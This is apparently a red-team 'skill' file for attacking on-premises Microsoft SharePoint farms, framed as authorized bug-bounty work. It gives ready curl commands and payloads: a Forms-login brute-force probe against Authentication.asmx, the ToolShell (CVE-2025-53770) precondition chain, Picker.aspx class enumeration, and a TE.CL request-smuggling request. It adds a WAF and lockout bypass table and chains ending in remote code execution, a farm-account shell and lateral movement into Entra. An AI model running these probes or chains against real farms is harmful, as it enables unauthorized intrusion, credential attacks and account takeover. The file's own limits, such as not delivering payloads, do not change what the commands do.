Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms — anonymous endpoint enumeration, version disclosure, legacy SOAP login bypass (Authentication.asmx), ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration via Picker.aspx, NTLM Type-2 AD topology disclosure, custom-branding module discovery, EoL farm permanent-CVE-window exploitation, FormDigest anonymous issuance, file-extension blocklist NOT-an-oracle pattern, custom-zone Forms auth bridging on-prem AD. Use when target has SharePoint headers (SPRequestGuid, X-MS-InvokeApp, X-SharePointHealthScore, MicrosoftSharePointTeamServices) or paths (/_layouts/15/, /_vti_bin/, /_api/, /_catalogs/).
version
1.1.0
revision_date
"2026-07-25T00:00:00.000Z"
license
MIT
category
redteam
tags
["sharepoint","hunt","redteam","microsoft"]
Crown Jewel Targets
SharePoint Server (on-prem) is one of the richest enterprise attack surfaces in 2025-2026 bug bounty / red-team work. Three forces converge:
End-of-life unpatched code paths. SharePoint Server 2013 reached extended-support EoL on 2023-04-11 (final build 15.0.5545.1000 / KB5002381). Every SharePoint CVE published after that date is permanently unpatched on SP2013 farms. SP2016 reaches EoL 2026-07-14; SP2019 reaches EoL 2026-07-14 (next 2 months as of May 2026); only SP Subscription Edition is currently in active support.
CVE-2025-53770 / 53771 "ToolShell" — July 2025 emergency-out-of-band patch chain for SPE / SP2019 / SP2016. The vulnerable code path (anonymous /_layouts/15/ToolPane.aspx?DisplayMode=Edit + anonymous __REQUESTDIGEST + unencrypted ViewState) is present in SP2013 too and will never receive a fix.
Custom branded login pages forget legacy SOAP login./_vti_bin/Authentication.asmx with the Login SOAP op is the SharePoint equivalent of WordPress XMLRPC bypass — accepts native Forms credentials anonymously with no rate limit on most farms even when the branded UI has lockout.
Highest-value SharePoint targets:
SP2013 farms still on the public internet — every CVE since April 2023 is unpatched. Critical-severity findings.
Dealer / partner / supplier portals built on SharePoint by enterprise integrators (German VW group, a enterprise system integrator, etc.) — high-impact business data, often nested inside corporate AD trees.
SharePoint farms with anonymous Forms-auth zones — Authentication.asmx becomes anonymously brute-forceable.
SharePoint inside corporate AD parent forests — NTLM Type-2 leak (see hunt-ntlm-info) discloses the parent forest membership.
Telerik-integrated SharePoint installations — additional deserialization sinks on top of SP's own.
Asset types that pay most: internet-reachable SP Server (any version) > SP Online with custom solutions hooks > intranet SP only after VPN compromise.
Attack Surface Signals
Response-header fingerprints (any one is sufficient — usually multiple co-occur):
Anonymous-endpoint matrix probe. Walk every endpoint in the table below in one pass. Anything anonymous becomes part of the attack chain.
/_vti_inf.html → version disclosure
/_layouts/15/start.aspx → version disclosure + session minting
/_layouts/15/blank.htm → benign anchor for smuggling probes
/_layouts/15/error.aspx → request-validator behaviour probe
/_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour
/_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour
/_layouts/15/SignOut.aspx → logout — anonymous OK
/_layouts/15/closeConnection.aspx → anonymous OK
/_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings
/_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings
/_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE)
/_layouts/15/Picker.aspx → SafeControl recon (see step 6)
/_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name)
/_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL)
/_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops
/_vti_bin/SharedAccess.asmx → often anonymous
/_vti_bin/spsdisco.aspx → SP service discovery
/_api/contextinfo (POST) → anonymous FormDigest mint (HIGH)
/_api/$metadata → 381KB API surface enumeration
/_api/Search → search service descriptor
/_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info)
Legacy SOAP login bypass via Authentication.asmx. Cross-reference hunt-auth-bypass Legacy-Protocol Matrix. The standard probe:
# First: confirm Mode = Forms (else this attack vector is N/A)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \
-d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>'# → <ModeResult>Forms</ModeResult> ← target is exploitable# → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A# Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY)# Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords# If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface
Severity: Critical when anonymous + no rate limit + no lockout. Submit as bug-bounty even before demonstrating successful auth — the unbounded credential validation is the bug, not "I cracked X credential."
ToolShell precondition chain probe (CVE-2025-53770 class). Three sub-requests:
# Sub-step a: anonymous GET on ToolPane.aspx
curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit"# Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED=""# If both: precondition stack is anonymous-reachable.# Sub-step b: anonymous POST to /_api/contextinfo
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue'# Should return a valid digest with 1800s validity.# Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-H "X-RequestDigest: <digest from step b>" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none"# Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.
Severity: Critical on EoL SP2013 (no patch will ever ship). High on SP2016/2019/SE if __VIEWSTATEENCRYPTED is non-empty (encrypted ViewState mitigates the deserialization arm but precondition still warns of misconfig).
IMPORTANT: Do NOT actually deliver a malicious ViewState payload. The precondition chain is sufficient evidence for the report. In the real CVE-2025-53770 chain, machineKey recovery is NOT a precondition for RCE: the auth-bypass (CVE-2025-49706, crafted Referer to ToolPane.aspx) + insecure deserialization (CVE-2025-49704) yield an initial web shell with no machineKey knowledge. The <machineKey> (ValidationKey/DecryptionKey) is then DUMPED by that web shell and used to forge signed __VIEWSTATE for persistent/unauthenticated re-exploitation. So machineKey is the loot of the first RCE and the persistence arm, not a gate in front of it — do not under-assess an exploitable farm just because machineKey is unknown.
NTLM Type-2 AD topology disclosure. Cross-reference hunt-ntlm-info for full methodology. Quick check:
# Use Burp send_http1_request with keep-alive, or Python raw socket# Anonymous Type-1 with NetBIOS-info request flag:# Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==# Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name
Severity: Medium when chained with internet exposure + default WIN-XXXXXXXXXXX hostname; Informational otherwise.
SafeControl enumeration via Picker.aspx. Picker.aspx differentiates two error states by class existence:
Type EXISTS but not whitelisted: "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site."
Type DOES NOT exist: "Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=[REDACTED_IP], Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
Feed a wordlist of Microsoft.SharePoint.*.WebControls.* and Microsoft.SharePoint.WebPartPages.* types to enumerate reachable classes. The list itself is recon for CVE-2019-0604-family chains.
for cls in \
"Microsoft.SharePoint.WebControls.PeopleEditor" \
"Microsoft.SharePoint.WebControls.ItemPicker" \
"Microsoft.SharePoint.WebPartPages.DataFormWebPart" \
; do
curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"done
download.aspx is NOT outbound SSRF — recognize and don't waste time. SP's /_layouts/15/download.aspx?SourceUrl= is an SP-internal path resolver, not a generic URL fetcher. Behaviours:
External URL (http://evil.example.com/x) → 500 with "The Web application at <URL> could not be found" — server tried to resolve as an SP web app, didn't fetch.
Same-origin file URL → 500 with "<nativehr>0x81070211</nativehr>...Cannot open file '<path>'" — server tried SPFile.OpenBinary, file not found.
Files matching the extension blocklist (.ashx, .asmx, .svc, .config) → 500 with "file blocked from this Web site by the server administrators" regardless of whether the file exists.
file://, UNC paths, gopher://, etc. → 500 with "Value does not fall within the expected range" — URL-scheme validator rejects.
The error-message URL echo is NOT confirmation of SSRF. Confirm via Burp Collaborator OOB before claiming. (Cross-reference hunt-ssrf OOB-Or-It-Didn't-Happen Gate.) Verified negative in authorized engagement: 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero callbacks.
The extension blocklist also looks like a "file-existence oracle" (existing vs not-found returns different responses) but it's actually just the SP file-extension policy. Don't infer file presence from the blocklist response.
Custom-branding module enumeration. Customer-customised SP installations almost always have a /_layouts/15/<CustomerName>/ directory tree. Find the name from the login URL (e.g. /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → customer name is <CustomerName>). Then probe:
for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code} %{size_download}\n" \
"https://target.example/_layouts/15/CustomerName/$sub/"# 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path validdone
JS bundles often contain hardcoded endpoint URLs, hidden routes, internal API paths. Pull each with proper Referer header (some are referer-gated).
Search service probe./_api/Search returns a small JSON descriptor anonymously. /_api/search/query?querytext='X' returns 500 with stack trace if the Search Service Application is not running — useful infra disclosure but not directly exploitable.
Authenticated post-login surfaces (if you have valid credentials):
HTTP TE.CL smuggling on AWS ELB + SP IIS back-end (consistent on SP farms behind AWS ELB):
POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
Expected back-end hang: ~12 s vs ~0.16 s baseline (consistent across 5 trials). Obfuscation variants (Transfer-Encoding : chunked, transfer-encoding: chunked, trailing-space, mixed-case) produce a similar ~6 s hang.
Picker.aspx SafeControl recon:
curl --max-time 30 --connect-timeout 10 -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"# "Only PickerDialog types..." = exists, not whitelisted# "Could not load type..." = does not exist
Common Root Causes
/_vti_bin/Authentication.asmx left enabled on the public-zone IIS binding. SharePoint admins enable Forms auth on a custom login UI and don't realise the legacy SOAP Login endpoint is independently reachable.
viewStateEncryption="Auto" on layouts pages. SharePoint's default ViewState mode signs-only for pages without sensitive form fields. Pages like ToolPane.aspx have __VIEWSTATEENCRYPTED="" — exploitable if machineKey leaks.
/_api/contextinfo POST accessible anonymously. SharePoint Online and SPE 2024-07+ require auth on contextinfo. Earlier versions and most SP2013 farms allow anonymous POST → FormDigest token returned with 1800s validity. This is the second ToolShell precondition.
NTLM enabled on public-zone IIS binding. Default dual-auth (Forms + NTLM) leaves NTLM Negotiate available to anonymous internet users. Type-2 challenge leaks AD topology.
SP2013 farms past EoL still internet-exposed. Microsoft extended support ended 2023-04-11. Every post-April-2023 SharePoint CVE is unpatched. Common in enterprise integrator scenarios (system-integrator inside corporate-parent AD, SI-managed dealer portals).
<SafeControl> whitelist in web.config trusted as the only gate. Picker.aspx enforces an instanceof PickerDialog check, which is patched against the original CVE-2019-0604 vector — but the underlying SafeControl model itself is anonymously enumerable via the Picker.aspx error differential.
AWS ELB + SP IIS without explicit Transfer-Encoding normalization. Default ELB forwards Transfer-Encoding to back-end IIS; IIS interprets Content-Length when both are present in a way that desyncs from ELB. Multiple TE-obfuscation variants bypass simple WAF rules.
Default Windows-installer hostname (WIN-XXXXXXXXXXX) never renamed. Signal of rushed provisioning; correlates with default service-account passwords on SQL backend, default farm-account passwords on Central Admin, etc.
Custom-branding module (/_layouts/15/<Customer>/) JS bundles loaded with ?v=YYYYMMDD query strings. The query string reveals last-modified date — useful for "this app is actively maintained" vs "this app is abandoned" determination.
Cross-node ViewState MAC failures when AWS ELB doesn't pin session affinity to one WFE. Operationally broken (users hit 500s on every POST); security-wise broadcasts farm topology in error messages.
Bypass Techniques
Defense
Bypass / Recon Strategy
Branded customlogin.aspx with lockout / CAPTCHA / MFA
/_vti_bin/Authentication.asmx legacy SOAP — none of those protections apply
Pair with anonymous ToolPane POST + unencrypted ViewState; the deserialization sink yields RCE without machineKey — machineKey is then dumped by the shell for persistent re-exploitation
Custom error pages set
Trigger different code paths (XML-shaped ViewState → dual-parser error differential — see hunt-aspnet)
WAF blocks < in query
Move payload to Cookie / Referer / SOAP body — request validator doesn't reach those contexts
Microsoft.SharePoint.WebPartPages.DataFormWebPart blocked via SafeControl patch
Enumerate SafeControl list; find a subclass that bypasses the inheritance gate
HTTP/2 H2.CL smuggling
AWS ALBs often don't advertise h2 ALPN — close that family early via openssl s_client -alpn h2,http/1.1
Authenticate.aspx wraps Source= in ReturnUrl
Test post-auth behavior with valid creds; pre-auth chain wraps everything safely
Gate 0 Validation
Before writing the report:
What can the attacker DO right now?
Authentication.asmx anonymous + no rate limit → Critical (unbounded credential validation; password spray + UPN format from NTLM = end-to-end ATO path)
Full ToolShell precondition chain (anon GET + anon FormDigest + anon POST + unencrypted VS) + EoL SP2013 → Critical (RCE via well-documented public exploit chain, no patch will ship)
NTLM Type-2 AD topology disclosure + default-Windows hostname → Medium
SP2013 EoL alone → Medium-Low (compliance / hygiene; bug-bounty programs vary — some accept, many reject)
download.aspx URL echo without confirmed Collaborator callback → NOT SSRF — retract
Have you reproduced the full chain to attacker-attainable impact?
For Authentication.asmx: 10-burst test with uniform timing (proves no rate limit) is sufficient. Don't actually crack a credential.
For ToolShell: precondition chain (steps a+b+c) is sufficient. Don't deliver a malicious payload.
For NTLM: AV-pair decode showing AD-topology fields is sufficient.
Can you reproduce in <10 minutes from a clean shell?
Authentication.asmx: 2 curl commands.
ToolShell precondition: 3 curl commands.
NTLM Type-2: 1 Python snippet (the AV-pair decoder).
Real Impact Examples
Scenario A — a authorized SharePoint engagement against an EoL on-prem farm
Target: https://target-portal.example/ — SharePoint Server 2013 build 15.0.5545.1000 (KB5002381 / final EoL April 2023 CU). Tenant = a system-integrator tenant (Swiss importer) inside a corporate global AD (customer.parent-corp.example). Server hostname WIN-XXXXXXXXXXX (default Windows installer pattern).
11 findings shipped: 3 Critical, 2 Medium, 6 Low/Info. The three Criticals:
Authentication.asmx anonymous credential brute-force — 10-burst test showed uniform 0.6-0.9 s timing with no rate limit, no lockout, no CAPTCHA, no MFA challenge. Identical 431-byte responses.
HTTP request smuggling TE.CL — 5/5 trials showed 12.18 s back-end hang vs 0.16 s baseline. 4 additional obfuscation variants (space-before-colon, trailing-space, lowercase, mixed-case) showed 6.16 s hang — each bypassing simple WAF rules.
ToolShell precondition chain — anonymous GET ToolPane.aspx (200) + anonymous POST /_api/contextinfo (200, valid FormDigest) + anonymous POST ToolPane.aspx with digest (200, no auth challenge) + __VIEWSTATEENCRYPTED="". Permanent zero-day on EoL SP2013.
Plus Medium-tier: NTLM Type-2 disclosure of full AD topology (customer.parent-corp.example, WIN-XXXXXXXXXXX); SP2013 EoL exposure.
Scenario B — /_layouts/15/download.aspx?SourceUrl= recognized correctly as NOT-SSRF (saved-time example)
Same target. Initial scan flagged download.aspx?SourceUrl=http://oob.example.com/ as SSRF because the server echoed the URL in the 500 error title ("The Web application at http://oob.example.com/ could not be found"). 38 Collaborator-tagged payloads across 12+ URL-accepting SP parameters → zero DNS/HTTP callbacks. Conclusion: download.aspx is an SP-internal SPWebApplication / SPFile resolver, NOT a generic URL fetcher. The "echo" is server-side error-string formatting. Saved from reporting an N/A finding by following the hunt-ssrf OOB-Or-It-Didn't-Happen Gate.
Scenario C — CVE-2019-0604 patch verification via Picker.aspx
Same target. Feeding Microsoft.SharePoint.WebPartPages.DataFormWebPart (the canonical CVE-2019-0604 deserialization gadget) to Picker.aspx returned "Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." — meaning the type EXISTS and is reachable through reflection, but the dialog framework's instanceof PickerDialog patch correctly rejects it. The patch IS in place for the original CVE-2019-0604 vector. The class-existence enumeration itself becomes recon for any future CVE-2019-0604-family chain that doesn't go through the inheritance gate.
Cross-references
Authentication.asmx legacy SOAP login → see hunt-auth-bypass Legacy-Protocol Matrix for the WordPress-XMLRPC equivalent pattern.
NTLM Type-2 AD-topology disclosure → see hunt-ntlm-info for AV-pair decoder + severity rubric.
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
SharePoint version disclosure without CVE — knowing the SP version is informational. Need a matching exploitable CVE.
/_layouts/ accessible but no anonymous operations — path reachability is recon. Need anonymous read/write/execute.
EoL SharePoint without exploitation — "SharePoint 2013 is EoL" is a hygiene finding, not a vulnerability. Need demonstrated exploit.
FormDigest anonymous issuance — _api/contextinfo returning FormDigest anonymously is a precondition for ToolShell, not a standalone bug.
Modern vs Classic auth — SharePoint Online uses Modern Auth (OAuth). On-prem SP may use Classic (NTLM/Kerberos). Different attack surfaces.
Related Skills & Chains
hunt-auth-bypass — Legacy SOAP /_vti_bin/Authentication.asmx accepts anonymous Login calls on misconfigured farms. Chain primitive: SharePoint anon SOAP login probe → if response yields cookie or success differential → hunt-auth-bypass brute-force matrix (username enumeration via timing, password spray with low-and-slow against the same SOAP endpoint that bypasses ADFS-level lockout) → valid cred → /_layouts/15/ authenticated surface.
hunt-ntlm-info — Every SharePoint farm advertises WWW-Authenticate: NTLM anonymously on /_vti_bin/. Chain primitive: SharePoint NTLM Type-2 challenge capture → hunt-ntlm-info AV_PAIR decode yields NetBIOS domain + internal DNS forest + DC hostname → feed domain into m365-entra-attack ROPC user-enumeration spray on tenant tied to that domain.
hunt-aspnet — SharePoint is ASP.NET Webforms under the covers; ViewState, machineKey, and SafeControl reflection all apply. Chain primitive: SharePoint version disclosure → confirm patch level missing → hunt-aspnet ViewState dual-parser MAC-bypass → deserialization gadget → RCE in w3wp.exe as farm account.
hunt-rce — ToolShell precondition chain (CVE-2025-53770) is the current high-impact SP RCE path. Chain primitive: ToolShell preconditions met (/_layouts/15/ToolPane.aspx?DisplayMode=Edit reachable via the CVE-2025-49706 auth bypass — a crafted Referer header pointing at ToolPane.aspx — + version vulnerable) → hunt-rce deserialization gadget chain → SYSTEM/farm-account shell → m365-entra-attack lateral via stolen on-prem service-account token to Entra-synced identity.
triage-validation — SharePoint farms generate a lot of "looks like a finding" hygiene noise (FormDigest issuance, version disclosure, extension blocklist quirks). Chain primitive: run every SP finding through the 7-Question Gate before reporting — most version-disclosure-only findings die at "is this actually exploitable on this farm" without a paired CVE PoC.
password-spray-methodology — Universal password spray pipeline across all protocols + error code differentials
